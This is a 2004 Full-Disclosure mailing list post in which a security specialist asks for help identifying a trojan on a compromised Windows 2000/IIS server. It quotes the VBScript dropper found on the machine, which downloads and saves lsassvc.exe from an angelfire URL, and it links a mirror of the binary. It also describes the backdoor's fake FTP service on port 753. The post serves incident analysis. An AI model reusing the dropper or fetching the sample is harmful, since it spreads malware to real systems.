[Full-Disclosure] Need help to identify a trojan

["Maxime Ducharme" <mducharme@xxxxxxxxxxxxxxxxxxx>]

Hi to the list,
    one of our customer's servers have been compromised and I'd
need help to identify trojan used.

Here is the server's setup :
- Windows 2000 OS
(2 updates missing, KB870669 and KB839643)
- IIS 5.0 running with ASP applications
- Serv-U FTP Server v4.0
- not firewalled ... :(

I first found a file named "blabla.vbs" in C:\ which contains this
script :
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.angelfire.com/comics/mumucake/lsassvc.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "lsassvc.exe",2

The lsassvc.exe is still on angelfire's web server, and I mirrored it
here :
http://www.cybergeneration.com/security/2004.07.08/lsassvc.ex_

This file is bound to TCP port 753, and a connection on this
port output this :
220 jsdaus Microsoft FTP Service (Version 5.0)

Looks like a "special" FTP service. The program answers my "USER"
and "PASS" commands :
> USER test
< 331 Password required for test.
> PASS test
< 530 Login incorrect.

It is also bound on a service name "Local Security Authority Service
System".

Norton says this file is not infected, but it looks really suspicious, we
already shut down the server for analysis. It has been used for scanning.

Other hack tools have been found under C:\RECYCLER\speedy.

I'd like to know which kind of trojan it is, and if it has self-propagating
behavior like some Ago-Gaobot.

Thx for any help

Maxime Ducharme
Programmeur / Spécialiste en sécurité réseau

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html